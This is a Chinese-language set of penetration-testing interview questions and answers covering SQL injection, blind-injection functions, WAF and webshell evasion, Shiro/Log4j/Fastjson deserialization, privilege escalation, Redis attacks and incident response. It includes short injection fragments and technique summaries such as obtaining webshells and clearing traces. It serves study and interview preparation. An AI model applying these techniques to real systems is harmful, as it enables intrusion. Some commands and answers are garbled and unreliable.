- 通过SSRF获取认证信息:首先,利用SSRF漏洞向Redis服务器发送请求,尝试通过请求内部资源或服务来获取Redis的认证信息,例如从Redis配置文件或环境变量中读取密码。
- 利用弱密码或默认密码:如果Redis没有开启强认证或使用默认配置(如默认密码),攻击者可以尝试使用常见的默认密码(如
password,123456等)进行认证。 - 字典攻击或暴力破解:如果密码未知且Redis密码较弱,可以利用字典攻击或暴力破解方法来获取密码。攻击者可以通过SSRF请求暴力尝试密码,并观察Redis返回的错误信息。
- 利用Redis的认证错误响应:Redis会在认证失败时返回错误信息,攻击者可以通过返回的错误信息来推测密码的强度,从而逐步进行猜解。
IAM和LLM是什么?
IAM是身份和访问管理(Identity and Access Management)的缩写,用于管理用户的身份和访问权限。LLM可能是指某种特定的技术或概念,需要具体上下文来确定。
服务器IP地址一直在变可能用了什么措施?
服务器IP地址一直在变可能是由于使用了CDN、负载均衡、动态IP等技术或措施导致的。
加密字符串不像MD5你有什么想法?
如果加密字符串不像MD5,可能是使用了其他加密算法或进行了额外的处理,可以尝试分析加密字符串的上下文和可能的加密方式。
AES加密字符串应该怎么办?
如果抓到的字符串是AES加密的,可以尝试使用AES解密工具或库来解密,但需要知道密钥和加密模式等信息。
Shiro中Cookie进行了什么处理?
Shiro在处理RememberMe Cookie时通常会进行序列化和加密处理。
Remember Me存储在Cookie里如何解?
要解密Remember Me Cookie中的信息,需要知道加密密钥和加密算法以及序列化对象的格式。
常用端口有哪些?
常用端口包括HTTP(80)、HTTPS(443)、SSH(22)、FTP(21)、Telnet(23)等。
Sql注入的类型有哪些? (奇安信、探探)
口诀:三字两请两头忙(盲)、搜哭(cookie)联报爹(叠)
三字(数字型、字符型、宽字节)请求类型(GET型、POST型、)HTTP头(User-Agent、Referer)、盲注(布尔盲注、时间盲注)cookie、搜索型、联合查询、堆叠查询、报错、
布尔盲注原理?(探探)
布尔型盲注是SQL注入的一种类型,攻击者无法直接看到查询的结果数据, 但可以通过构造返回真假结果的布尔表达式,来判断查询是否成立。通过反复发出不同的布尔条件(如 AND 1=1 或 AND 1=2),攻击者通过观察应用程序返回的响应来推测数据库的结构和数据内容。
布尔型盲注利用方法? (探探)
- 攻击者通过发送带有布尔表达式的请求,例如:
' AND 1=1(为真)或' AND 1=2(为假)。 - 根据返回的页面响应判断布尔表达式的真假。例如,如果页面没有变化,说明布尔条件为真;反之,说明布尔条件为假。
- 通过不断修改条件,攻击者逐步获取数据库的结构、表名、字段名,最终提取敏感数据。这个过程通常是自动化的,利用脚本进行字符逐步猜测,最终暴露数据。
布尔盲注如何提高效率?
使用二分法或逐字符猜测来缩小范围,利用数据库特性(如数据库版本、表名长度等)来减少猜测次数,以及使用自动化工具或脚本进行批量猜测等。
中间件漏洞的特点?
中间件漏洞的特点通常包括:漏洞影响范围广泛,因为中间件通常被多个应用或服务所使用;漏洞利用方式多样,可能涉及代码执行、数据泄露、拒绝服务等;以及漏洞修复和更新滞后,因为中间件的更新和维护需要时间和资源。
如何防御命令执行函数?
防御命令执行函数的方法包括:限制用户输入,避免用户输入直接作为命令执行;使用安全的API替代不安全的命令执行函数;对输入进行严格的验证和过滤;以及使用最小权限原则,限制执行命令的权限等。
图片码没有解析怎么办?
如果图片码没有解析,可以尝试以下方法:检查图片码的格式和编码是否正确;使用专业的图片解码工具或库进行解析;检查解析代码是否存在逻辑错误或异常处理不当等问题。
文件上传漏洞如何进行测试?
测试文件上传漏洞的方法包括:尝试上传不同类型的文件(如图片、脚本、压缩包等),观察是否能够成功上传并解析;检查上传的文件是否被存储在预期的位置,以及是否可以被访问和执行;尝试绕过上传限制(如文件大小、类型、命名规则等)进行上传测试。
ARP攻击原理?
ARP攻击的原理是通过伪造ARP请求和应答来欺骗局域网内的其他设备,使其将攻击者的MAC地址与网关或其他设备的IP地址关联起来,从而实现中间人攻击、数据窃取、会话劫持等恶意行为。
如何确保远程访问中的安全?
确保远程访问中的安全可以采取以下措施:使用强密码和身份验证机制;使用安全的通信协议(如SSH、HTTPS等);限制远程访问的权限和范围;定期更新和修补远程访问软件和系统;以及监控和记录远程访问日志等。
什么是VPN?
VPN(虚拟私人网络)是一种通过公共网络建立加密通道的技术,用于实现远程用户或分支机构与内部网络的安全连接和数据传输。
主流的防火墙有哪些?
主流的防火墙包括:硬件防火墙(如Cisco、Juniper等品牌的防火墙产品);软件防火墙(如Windows防火墙、Linux iptables等);以及云防火墙(如AWS WAF、Azure Firewall等)等。
python发起请求需要用到什么库?
Python发起请求通常使用requests库,它是一个简单易用的HTTP库,支持各种HTTP请求方法(如GET、POST、PUT、DELETE等)和高级功能(如会话管理、Cookie处理、重定向等)。
什么是反序列化?(深信服)
反序列化是将序列化后的字节流或文本数据转换回原始对象的过程。序列化是将对象转换为字节流以便存储或传输,而反序列化则是将这些字节流或文本数据恢复为内存中的对象。
反序列化和序列化的关系是什么?
序列化和反序列化是互为逆操作。序列化将对象转换为字节流,而反序列化则是将字节流恢复为对象。二者共同作用于数据传输和存储中,保证对象在不同环境中得以还原和重构。
反序列化过程中可能存在哪些安全问题?
反序列化时可能会引发安全漏洞,例如反序列化漏洞。攻击者可以通过发送恶意构造的数据流来触发代码执行、进行数据篡改或发起拒绝服务攻击(DoS)。最严重的风险是远程代码执行(RCE),这使得攻击者能够在目标系统上执行任意代码。
常见的反序列化数据格式有哪些?
常见的反序列化格式包括:
- JSON:广泛用于Web服务中的数据交换,易于阅读和解析。
- XML:一种标记语言,也常用于不同系统间的数据交换。
- Protobuf:Google的协议缓冲格式,常用于高效的数据序列化。
- Java对象序列化:Java特有的格式,用于将Java对象转换为字节流。
如何防止反序列化攻击?
防止反序列化攻击的方法包括:
- 进行类白名单检查,只允许特定的类进行反序列化。
- 使用安全的反序列化库,验证数据合法性。
- 对反序列化的数据进行验证和清洗,确保其不包含恶意代码。
- 采用签名或加密来保护序列化数据,防止篡改。
- 避免反序列化不信任的来源数据。
PHP反系列化中的危险函数有哪些?(深信服)
在 PHP 中,反序列化存在严重的安全风险,尤其是使用不受信任的数据时。最常见的危险函数是 unserialize(),它可以被攻击者利用进行对象注入,进而执行任意代码。攻击者通过构造恶意数据,可以触发对象的魔术方法,如 __wakeup()、__destruct() 或 __call(),造成远程代码执行漏洞。措施:
使用 unserialize() 时,启用 allowed_classes 参数,限制反序列化时允许的类。
确保反序列化的数据来源可信。
对会话数据使用加密,并通过 HTTPS 传输,防止 session_decode() 被篡改。
考虑使用 json_decode() 替代 unserialize(),特别是在处理简单数据时。
如何获取远程主机进程?
获取远程主机进程的方法通常依赖于远程主机的操作系统和网络配置。在允许的情况下,可以使用远程桌面协议(如RDP、SSH等)登录到远程主机并查看进程;或者使用网络管理工具(如nmap、telnet等)来探测和获取远程主机的相关信息。但请注意,这些方法需要相应的权限和配置支持。
逻辑漏洞最核心的漏洞原因?
逻辑漏洞最核心的漏洞原因是程序中的逻辑错误或设计缺陷,这些错误或缺陷可能导致程序在处理用户输入、权限验证、数据处理等方面出现不符合预期的行为,从而被攻击者利用来执行恶意操作或获取敏感信息。
python常用的数据类型有哪些?
Python常用的数据类型包括:整数(int)、浮点数(float)、字符串(str)、布尔值(bool)、列表(list)、元组(tuple)、字典(dict)、集合(set)以及自定义的对象类型等。
渗透测试的流程?
渗透测试的流程通常包括以下几个阶段:信息收集(收集目标系统的相关信息)、漏洞扫描(使用自动化工具或手动方法检测目标系统的漏洞)、漏洞验证(对扫描到的漏洞进行验证和确认)、权限提升(尝试利用漏洞获取更高的权限)、维持访问(在获取权限后保持对目标系统的访问能力)、数据收集(收集目标系统的敏感数据)以及报告撰写(将测试结果和发现的问题整理成报告并交付给客户)。
SQL server中有哪些存储类型?
SQL Server中的存储类型主要包括:行存储(Row Store),它是最常见的存储类型,用于存储表数据和索引;列存储(Column Store),它优化了列数据的存储和查询性能,适用于大数据分析场景;以及内存优化存储(Memory-Optimized Storage),它利用服务器的内存资源来提高数据的读写速度和并发处理能力。
如何收集API接口?
收集API接口的方法包括:使用API文档(如Swagger、Postman等)来查看和测试API接口;通过抓包工具(如Wireshark、Fiddler等)来捕获和分析网络请求和响应中的API接口信息;以及通过搜索引擎或社区论坛等渠道来查找和收集相关的API接口信息。
Linux系统命令被禁用,如何绕过?
如果Linux系统命令被禁用,可以尝试以下方法绕过限制:使用其他未被禁用的命令或工具来执行所需的操作;或者利用系统的漏洞或特性来绕过限制.
sqlmap level3和risk3代表什么意思?
level代表测试的深度:分为1-5级,越高测试的内容越多,该等级将user-agent和referer头部纳入检测范围。
risk代表测试的风险等级,告诉SQLMap:“我愿意承担多大的风险来进行这次测试”。
SQLmap的os-shell原理是什么?sqlmap写websell原理?
SQLMap的OS-Shell功能是通过利用SQL注入漏洞来获取目标服务器上的系统权限,从而允许攻击者执行操作系统级别的命令。SQLMap首先会对目标网站进行SQL注入漏洞检测。检测到漏洞就尝试利用该漏洞向服务器发送恶意的SQL语句提升权限,攻击者可以通过OS-Shell功能执行操作系统级别的命令,如查看系统信息、读取文件内容等。
php伪协议有哪些?
file:// http:// https:// ftp:// ftps:// php:// data:// zip:// rar:// phar://
- 访问本地文件系统(如file://)。
- 访问网络资源(如http://, https://, ftp://,ftps://)。
- 访问输入/输出流(如php://input, php://output)。
- 数据流处理(如php://filter, 用于对数据进行筛选和过滤)。
- 访问压缩文件(如zip://, zlib://,rar://)。
- 其他特殊用途(如phar://, 用于访问PHP归档文件)。
在Linux系统中,查找24小时内被修改的JSP文件
find . -type f -name "*.jsp" -mmin -1440
find / -type f -name "*.jsp" -mmin -1440
.:表示从当前目录开始搜索。 /:从根目录开始搜索
-type f:只查找文件(不包括目录)。
-name "*.jsp":只查找扩展名为.jsp的文件。
-mmin -1440:查找在过去1440分钟(即24小时)内被修改的文件。
-1440 前面的负号表示“小于”指定的分钟数。JAVA中间件有哪些漏洞?
| 中间件名称 | 漏洞 |
|---|---|
| Apache Tomcat | 远程代码执行漏洞、XSS、弱口令漏洞、war后门文件部署 |
| Apache Shiro | 反系列化漏洞、权限配置错误、XSS、CSRF、加密算法漏洞 |
| JBoss | 反序列化漏洞、后台管理页面弱口令 |
| Apache HTTP Server(httpd) | 解析漏洞、目录遍历漏洞 |
| IIS | PUT漏洞、短文件名猜解漏洞、远程代码执行漏洞、文件解析漏洞 |
| Nginx | 文件解析漏洞、目录遍历漏洞、CRLF注入漏洞 |
| WebLogic | 反序列化命令执行漏洞、远程代码执行漏洞、未授权访问漏洞、SSRF漏洞 |
java常见的一些高危函数自己有总结么?(深信服)
Runtime.getRuntime().exec()
风险:执行外部命令时,若输入没有适当验证,可能会导致命令注入攻击。
解决方案:避免直接使用此方法,或确保严格的输入验证。
ObjectInputStream.readObject()
风险:反序列化未验证的数据可能导致远程代码执行(RCE)漏洞。
解决方案:避免反序列化不受信任的数据,或者使用白名单来限制允许反序列化的类。
URLConnection 和 HttpURLConnection
风险:可能导致 SSRF(服务器端请求伪造)攻击,攻击者通过构造恶意 URL 请求本地或外部服务。
解决方案:验证和过滤所有 URL,禁止访问敏感或内网资源。
SecurityManager 的禁用或误用
风险:禁用 SecurityManager 或配置不当会导致 Java 应用程序失去对敏感资源的保护,容易受到攻击。
解决方案:保持 SecurityManager 启用,并且正确配置它。
Runtime.getRuntime().exec() 底层有什么限制你知道么?(深信服)
exec() 受 SecurityManager 限制,只有在具有适当权限时才能执行外部命令。解决方案是通过配置 java.security.Permission 授予权限,但最好避免使用 exec(),使用 ProcessBuilder 替代。
Runtime.getRuntime().exec() 如何防止命令注入?
防止命令注入的关键是避免直接拼接用户输入。使用 ProcessBuilder 提供参数列表,而不是拼接命令字符串,同时对用户输入进行严格验证。
简单说一下反射?(深信服)
Java 反射是一种在运行时动态获取类信息并操作类对象的机制。通过反射,可以访问类的字段、方法、构造器,甚至可以动态创建对象和调用方法。常用的反射类有 Class(获取类信息)、Field(访问字段)、Method(调用方法)、Constructor(创建对象)。反射广泛用于动态代理、框架开发(如 Spring 和 Hibernate)、以及插件式架构。
但反射也有缺点,包括性能开销较大和可能引发安全问题(可访问私有成员),因此在使用时要谨慎,避免滥用。
如何判断web服务器是Windows还是Linux
- HTTP响应头:Windows:Microsoft-IIS/", "ASP.NET" 或 "Win32" Linux:"Apache/", "Nginx/"
- 通过浏览器插件Wappalyzer
- 通过默认页面或错误页面
- 使用工具扫描:nmap、WhatWeb
- 通过特定文件或路径
- 检查SSL/TLS证书信息
如何快速区分目标主机的系统?
TTL 端口 脚本语言 数据库类型 大小写(Linux区分大小写) nmap -o
sql注入报错函数有哪些?
- updatexml() : mysql对XML数据查询修改定位无效时报错。
- extractvalue():mysql对XML数据查询修改定位无效时报错。
- exp():返回e,当传递一个大于特定值的参数时引起溢出错误。
- floor():mysql中取整函数可构造报错payload。
- group by():
thinkphp有哪些漏洞?
- ThinkPHP 2.x/3.0:任意代码执行
- ThinkPHP 5.x :远程代码执行
- SQL注入
- 敏感信息泄露
- XSS、CSRF
代码审计中,有几种常见的审计模式方法?
逆向追踪敏感函数调用:追踪
eval()、system()、shell_exec()逆向追踪其参数传递的过程业务逻辑审计:发现:跳步骤、0元购等逻辑漏洞。
静态代码审计:人工或使用工具对源代码进行逐行审查。方法:阅读源码、自动化扫描工具。
动态代码审计:在程序运行时对内存、输入输出等进行监控和检查。方法:模糊测试、运行时监控(用调试器监控内存访问、函数调用链、权限控制)
如何排查Linux上开机启动的恶意文件?
- 检查启动项和服务;(定时任务、自启动)ls -al /etc/rc*.d
- 使用系统管理工具列出系统服务和启动状态。
- 检查crontab计划任务; crontab -l
- 检查系统进程;ps aux 列出当前运行的所有进程
- 查看网络连接;netstat -anp 查看当前的网络连接情况
- 检查可疑文件; find / -name ""
- 使用工具检测;Rootkit
- 查看日志;系统日志,登录日志。
查看网络监听的tcp和udp端口及对应的进程信息
netstat -tulnp
liux中,若发现有非法进程,如何定位程序路径、以及程序运行时带上的参数
1s -1 /proc/SPID/exe
cat /proc/SPID/cmdline
HTTP请求方法有几种:
HTTP请求方法主要包括以下几种:OPTIONS、GET、HEAD、POST、PUT、DELETE、TRACE、CONNECT、PATCH。其中,GET方法用于请求指定的资源;POST方法用于向指定资源提交数据;HEAD方法与GET类似,但不返回响应主体;PUT方法用于上传资源的最新内容;DELETE方法用于请求删除资源;OPTIONS方法用于查看服务器支持的所有HTTP请求方法;TRACE方法用于回显服务器收到的请求信息;CONNECT方法用于将连接改为管道方式的代理服务器;PATCH方法用于对资源进行部分更新。
常见高危端口?★必背
20、21、22、23、25、53、69、80、110、135、137、139、443、445、
1433、3306、3389、6379、7001
TCP 20/21(FTP服务)弱口令、TCP 69(TFTP服务)、TCP 23(Telnet服务)、TCP 3389(Windows RDP服务)弱口令、TCP 22(SSH服务)、TCP/UDP 53(DNS服务)、TCP 25(SMTP服务)、TCP 110(POP3服务)、TCP 135/137/139/445(SMB服务)、TCP 1433(SQL Server服务)、TCP 3306(MySQL服务)弱口令,sql注入,日志拿shell,udf,mof提取、TCP 5432(PostgreSQL服务)、445永恒之蓝、7001远程部署,反系列化,SSRF、6379空口令,
sleep被禁用如何盲注:
当sleep函数被禁用时,可以使用其他延时函数或技巧进行盲注。例如,在MySQL中,可以使用BENCHMARK函数来构造延时条件。此外,还可以尝试使用布尔盲注或基于时间的错误盲注等方法来绕过sleep的限制。需要注意的是,盲注是一种高级的攻击技术,需要具备一定的数据库和Web安全知识。
SQL注入的原理、如何防御加固?★
原理:产生sq1注入漏洞主要因为没有对接受到的参数进行过滤、验证和处理直接拼接到了sql语句中,然后直接执行该sal语句,这样就会导致恶意用户传入一些精心构造的sql代码,与后台sql语句拼接后形成完整的sql语句执行,达到攻击者的目的。接受相关参数未经处理直接带入数据库查询操作
防御:
使用安全的API
使用正则表达式提文字符串过滤、采用前渊加服务端过滤
安全函数,对敏感字符进行转义
不显示数据库错误
预编译
强迫使用参数化语句
最小权限,只给访问数据库的EB应用最小权限
重要信息加密储存
使用安全防护产品
拒绝风险p,比如短时间大量访问
webshells免杀的几种方式是什么?
字符串变形
简单字符串拼接
利用字符串丞数base64_decode使用base64加参数加密
分离免杀把马折分成两个部分
sleep被禁用如何盲注?
beenchmark
笛卡尔积盲注
Rlike盲注
log4j框架漏洞的原理是什么?
原理:log4j2框架下的lookup服务提供了{}字段解析功能,传进去的值会被直接解析,JNDI服务会请求远程服务来链接本地对象,这时候只用在{}里面调用JNDI服务即可反弹shell到指定服务器
特征:数据包里有{jndi:ladp//}字段
原理:log4j 远程代码执行漏洞 Log4j 是 Apache 的一个开源项目,是一款基于 Java 的开源日志记录工具。 该漏洞主要是由于日志在打印时当遇到${后,以:号作为分割,将表达式内容分 割成两部分,前面一部分 prefix,后面部分作为 key,然后通过 prefix 去找对应 的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入 执行,引发远程代码执行漏洞。
具体操作: 在正常的 log 处理过程中对${这两个紧邻的字符做了检测,一旦匹配到类似于 表达式结构的字符串就会触发替换机制,将表达式的内容替换为表达式解析后的内 容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。
shiro550的漏洞原理是什么?(深信服)
- Shiro在处理rememberMe字段时,会先将用户信息序列化,然后进行AES加密和Base64编码,最终将加密后的字符串存储在Cookie的rememberMe字段中。
- 当用户再次访问时,Shiro会读取Cookie中的rememberMe字段,进行Base64解码和AES解密,然后反序列化以获取用户信息
Shiro反序列化漏洞原理(理解版)?
当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞。
用户端流程:用户勾选remberme-->shiro将cookie序列化-->AES加密-->BASE64编码-->存储到cookie-remberme字段
服务端流程:cookie中remberme字段base64解码-->AES解密-->反系列化 前提要知道key
thinkphp5.0命令执行漏洞?
ThinkPHP5.0命令执行漏洞
Thinkphp5.0版本中没有对路由中的控制器进行严格过滤,没有开启强制路由的情况下可以执行系统命令
ThinkPHP5.1x命令执行漏洞
在ThinkPHP5,1.23之前的版本中存在SQL注入漏洞,该漏洞是由于程序在处理order by后的参数时,未正确过滤处理数组的key值所造成。如果该参数用户可控,且当传递的
数据为数组时,会导致漏洞的产生
渗透测试的思路?
- 确定测试范围、目标和规则,包括IP、域名、内外网等。
- 进行信息收集,如IP、网段、域名、端口、系统信息、应用信息、版本信息、服务信息和人员信息等。
- 利用收集到的信息进行漏洞探索,如使用漏扫工具、结合漏洞去找利用方法,以及在网上寻找验证poc。
- 对发现的漏洞进行验证,包括自动化验证、手工验证和试验验证。
- 根据验证结果,准备攻击代码,实施攻击,并获取内部信息。
- 进一步渗透,如内网入侵、敏感目标访问等(需注意,对客户做渗透时一般不需要这一步)。
- 清理痕迹,如清理相关日志、上传文件等。
- 整理渗透过程中用到的代码、poc、exp等信息,并形成渗透测试报告。
SQL注入bypass WAF的方式★ waf常见绕过方法
- 大小写混合
- 替换关键字
- 使用编码
- 特殊符号
- 使用注释
- 参数污染
- 缓冲区溢出
- 性能因素
- 整合绕过
Fastjson漏洞原理? Fastjson漏洞原理、如何修复?
- Fastjson在解析JSON字符串时,会将JSON字符串反序列化为Java对象。
- 如果缺乏对用户输入数据的有效过滤和校验,恶意用户可以构造特定的JSON字符串来触发代码执行漏洞。
- 恶意用户可以构造包含恶意代码的JSON字符串,在反序列化过程中触发恶意代码执行,从而导致远程代码执行(RCE)等安全问题。
Shiro反序列化漏洞原理? 3、shiro反序列化漏洞原理
- Apache Shiro是一个Java安全框架,提供了身份验证、授权、密码和会话管理等功能。
- Shiro框架提供了“RememberMe”功能,该功能生成的cookie值是经过序列化、AES加密和Base64编码处理的。
- 在服务端接收cookie值时,会进行Base64解码、AES解密和反序列化操作。
- 如果在反序列化时未进行任何过滤处理,恶意用户可以构造恶意的序列化数据来触发远程代码执行漏洞。
目标站禁止注册用户,找回密码处随便输入用户名提示“此用户不存在”的利用方法?
- 可以利用这一提示来爆破用户名。通过输入不同的用户名并观察提示信息,可以逐步确定存在的用户名。
- 在确定用户名后,可以尝试进一步爆破密码或利用其他漏洞进行攻击。
目标站无防护,上传图片可以正常访问,上传脚本格式访问则403的原因?
- 这通常是因为目标站对上传的文件类型进行了限制。例如,可能只允许上传图片格式的文件(如jpg、png等),而禁止上传脚本格式的文件(如php、asp等)。
- 当上传脚本格式的文件时,服务器会识别出文件类型不符合要求,并返回403禁止访问的响应。
对于链接demo.do?DATA=AjAxNg==存在sql注入漏洞的变形注入思路?
- 首先分析链接中的参数和数据格式。注意到DATA参数的值经过了编码(可能是Base64编码)。
- 尝试对编码后的数据进行解码,以获取原始数据。
- 根据解码后的数据格式和内容,构造不同的SQL语句进行注入测试。
- 观察返回的结果,并逐步调整SQL语句以获取更多的数据库信息。
如何拿一个网站的webshell?
- 要获取一个网站的webshell,利用网站存在的漏洞进行攻击。例如利用SQL注入漏洞、文件上传漏洞、XSS漏洞等。
- 在成功利用漏洞后,可以上传一个恶意的webshell文件到服务器上。
- 通过访问这个webshell文件,执行任意的服务器命令、查看服务器文件、修改服务器配置等。
登录页面可能存在哪些漏洞?★
1、注入点及万能密码登录
2、登录时,不安全的用户提示:比如提示用户名不存在或者密码验证码错误
3、查看登录页面源代码,看是否存在敏感信息泄露
4、不安全的验证码
5、在注册账号的时候,是否存在不安全的提示 不安全的密码,在注册账号的时候密码没有限制复杂度
7、任意无限注册账号
8、在暴力破解的时候不会限制ip,锁定用户
9、一个账号可以在多地登录,没有安全提示
10、账户登录之后,没有具备超时功能
11、0A,邮件,默认账号等相关系统,在不是自己注册的情况下,应该在登录之后强制要求更改密码
12、逻辑漏洞,任意更改密码
13、越权漏洞,纵向、横向越权
14、数据包含有风险信息泄露,比如CO0KIE
15、不安全的数字传输,密码为明文,未使用https证书
16、任意文件下载给你一个登录框,渗透思路是什么? ★
判断框架、后端语言;
测试弱口令、sql注入、万能密码、验证码绕过;
若是框架开发尝试框架漏洞;eg:shiro
尝试爆破;
讲讲你印象最深的一次渗透测试
某系统的Redis未授权访问漏洞测试。当时,我首先通过扫描工具发现了目标系统开放的Redis端口,并尝试进行未授权连接。出乎意料的是,Redis服务竟然允许我无需认证即可访问。
利用这一漏洞,写公钥getshell,进一步控制整个服务器。
提权可以有哪些方法?
windows:0.Windows漏洞提权 1.利用mysql(UDF、MOF、启动项) 2.利用msaql(xp_cmdshell) 3.bypass UAC 4.错误系统配置
linux:0.系统/内核漏洞提权(eg.脏牛) 1.SUID提权 2.mysql提权
windows中,administrator是最高权限吗?如果不是,那是什么?
TrustedInstaller > System > administrator > User
常见的web中间件有哪些?你知道有哪些漏洞?
apache nginx tomcat/weblogic/jboss iis 6.0 iis 7.0
IIS6.0和7.0有哪些漏洞。
- IIS6 文件名解析漏洞
- IIS6 身份验证绕过
- IIS6 目录解析漏洞
- IIS7 ASP身份验证让绕过
- IIS7 远程代码执行
信息收集的流程是什么?
网站:IP、目录、API、端口、旁站(同一台服务器上不同端口、不同目录的网站)
整体:子域名、证书、备案号、hash(网站hash)、供应链、小程序、aPP、公众号、github源码、svn、git、乌云历史洞库的信息、
网盘搜索:系统+手册 系统+密码 员工+信息
在PHP中如何维护用户登录状态?
在 PHP 中,可以通过启动和管理会话(session)来维护用户的登录状态。主要步骤包括:
- session_start():在脚本开始时调用以启动新会话或继续现有会话
- 存储用户信息:将用户ID或其他标识符存储在会话变量中(如 $_SESSION['user_id'])。
- 验证会话:在每个需要身份验证的页面上,检查会话变量以确认用户是否已登录。
- 会话超时处理:可以设置 PHP 的 session.gc_maxlifetime 配置项来控制会话的存活时间,或者使用会话变量手动设置超时。
什么是 Cookie 和Session?它们之间有什么区别?
Cookie 存储在客户端,Session存储在服务器端。
如何通过 PHP操作MySQL 数据库的函数有哪些?
mysql_connect、mysql_query、mysql_fetch_array、mysql_close 等。
PHP中常见数据类型有哪些?
整数、浮点数、字符串、布尔值、数组、对象。
PHP中的超全局变量有哪些?
$GLOBALS、$_SERVER、$_GET、$_POST、$_FILES、$_COOKIE、$_SESSION、$_REQUEST。
全局变量和超全局变量的区别
1、全局变量就是在函数外面定义的变量。不能在函数中直接使用。因为它的作用域不会到函数内部。
2、超全局变量作用域在所有脚本都有效
解释 PHP 中的错误处理机制。
可以使用 try...catch 语句捕获异常,并使用 error_reporting 函数设置错误报告级别。
请解释 JavaScript 中的作用域和闭包的概念。
作用域指变量可访问的范围,闭包指能够访问自由变量的函数。
什么是语义化 HTML?请举例说明。
语义化 HTML 使用具有明确含义的标签,例如 <header>、<footer> 等。
HTML5 与 HTML4 有哪些主要的区别?
HTML5 新增了语义化标签、多媒体标签、Canvas 画布等。
描述 TCP 的流量控制机制。
TCP 使用滑动窗口机制进行流量控制,避免网络拥塞。
什么是 ICMP 协议,它的主要用途是什么?
因特网控制报文协议ICMP(Internet Control Message Protocol)是一个差错报告机制。
使用ICMP,当网络中数据包传输出现问题时,主机或设备就会向上层协议报告差错情况和提供有关异常情况的报告,使得上层协议能够通过自己的差错控制程序来判断通信是否正确,以进行流量控制和差错控制,从而保证服务质量。例如 ping 命令就是基于 ICMP 协议。
请解释 ARP 协议的功能,以及它是如何工作的。
ARP (地址解析协议) 用于将 IP 地址转换为 MAC 地址,以便在网络中传输数据帧
请描述 TCP 和 UDP 协议的区别及其适用场景。
- TCP (传输控制协议):面向连接的协议,提供可靠的数据传输,适用于需要保证数据完整性的场景,例如 Web 浏览、文件传输。
- UDP (用户数据报协议):无连接的协议,传输效率高,但不保证数据完整性,适用于对实时性要求高的场景,例如视频通话、在线游戏。
请描述路由器的基本工作流程。
路由器接收数据包,根据路由表选择最佳路径,将数据包转发到目的地。
什么是 VLAN?它有什么优势?
VLAN 将一个物理网络划分为多个逻辑网络,提高网络的安全性和可管理性。
什么是链路聚合,何时使用它?
链路聚合将多个物理链路捆绑成一个逻辑链路,提高网络带宽和可靠性。
交换机和路由器的主要区别是什么?
- 交换机:工作在数据链路层,用于连接同一网络内的设备。
- 路由器:工作在网络层,用于连接不同网络,进行数据路由。
如何在 Linux 中配置静态 IP 地址?
编辑 /etc/network/interfaces 文件或使用 nmcli 命令配置静态 IP 地址。
请描述 VPN(虚拟专用网络)的工作原理。
VPN 通过加密隧道技术,将远程用户或网络连接到内部网络,保证数据传输的安全性。
DHCP 的作用是什么?它是如何工作的?
DHCP (动态主机配置协议) 用于自动分配 IP 地址、子网掩码、网关等信息给网络设备。
请描述 Linux 中的进程优先级及其调整方式。
Linux 中的进程优先级由 nice 值决定,范围从 -20 到 19,数值越小,优先级越高。可以使用 nice 命令调整进程的 nice 值。
什么是进程,如何在 Linux 中查看和管理进程?
进程是正在运行的程序实例。在 Linux 中,使用 ps 或 top 命令查看进程,使用 kill 命令终止进程。在 Windows 中,使用任务管理器查看和管理进程。
什么是软链接和硬链接?它们的区别是什么?
- 软链接:类似于 Windows 的快捷方式,指向另一个文件或目录。
- 硬链接:指向文件本身,而不是文件的目录项。
解释什么是最小权限原则及其应用。
最小权限原则是指只授予用户完成任务所需的最低权限,以降低安全风险。例如,普通用户不应拥有系统管理员权限。
请描述Linux 中 `sudo` 命令的用法和配置。
sudo 命令允许用户以其他用户的身份执行命令,通常用于临时提升权限。通过编辑 /etc/sudoers 文件可以配置 sudo 权限。
请解释 Linux 的`/etc/passwd` 和 `/etc/shadow` 文件的作用。
- /etc/passwd:存储用户信息,例如用户名、用户ID、组ID、家目录、登录shell 等。
- /etc/shadow:存储用户密码散列值,以及其他安全信息,例如密码有效期、登录失败次数等。
如何在 Linux 中设置用户的密码策略?
使用 pam_pwquality 模块可以设置密码策略,例如密码长度、复杂度、有效期等。通过修改 /etc/security/pwquality.conf 文件进行配置。
什么是影子账户?它在用户管理中起什么作用?
系统隐藏账户,在控制面板、本地用户和组里看不到的账户。却有管理员权限的账户。
请描述 VMware 的 NAT ,Bridged以及仅主机模式的区别。
- NAT 模式:虚拟机通过宿主机的网络连接访问外部网络。
- 桥接模式:虚拟机拥有独立的 IP 地址。虚拟机可以直接访问外部网络,并可以被外部网络访问。适用于虚拟机需要与外部网络进行通信的情况。
- 仅主机模式:虚拟机只能与宿主机进行通信,无法访问外部网络。适用于测试或隔离环境。
windows应急响应的流程?★
- 系统排查:系统信息、网络连接、进程、账户
- 日志排查:系统日志、安全日志
- 启动项和服务:检查系统启动目录、注册表启动项、检查服务状态、启动类型
- 计划任务和组策略:检查用户目录、分析最近打开文件、磁盘临时文件
- 恶意代码处理:代码取样->清除、使用安全软件查杀
- 系统加固:安装补丁、系统更新、修复已知漏洞、恢复程序正常工作
- 事件总结报告:分析事件起经、制订安全措施、撰写报告
报错注入函数和方法?(深信服)
报错注入的函数通常与数据库操作相关,如MySQL中的extractvalue()、updatexml()等函数,当这些函数接收到错误的参数时会抛出错误信息,攻击者可以利用这些错误信息来推断数据库的结构和内容。但请注意,这种方法依赖于数据库的错误报告机制,且可能因数据库版本和配置的不同而有所差异。
- updatexml():updatexml()是MySQL对XML文档数据进行查询和修改的XPath函数。当XPath字符串无效时,会触发错误,并返回错误信息。
- extractvalue():extractvalue()是MySQL对XML文档数据进行查询的XPath函数。与updatexml()类似,当XPath字符串无效时,也会触发错误。
- floor():floor()是MySQL中用来取整的函数。通过与与count()、group by等函数结合使用,可以构造分组错误来泄露信息。
延时注入函数及方法?
- BENCHMARK():将BENCHMARK()函数嵌入到SQL注入语句中,通过观察响应时间的变化来判断注入是否成功。
- SLEEP():将SLEEP()函数嵌入到SQL注入语句中,并指定暂停的时间(以秒为单位),通过观察响应时间的变化来判断注入是否成功。
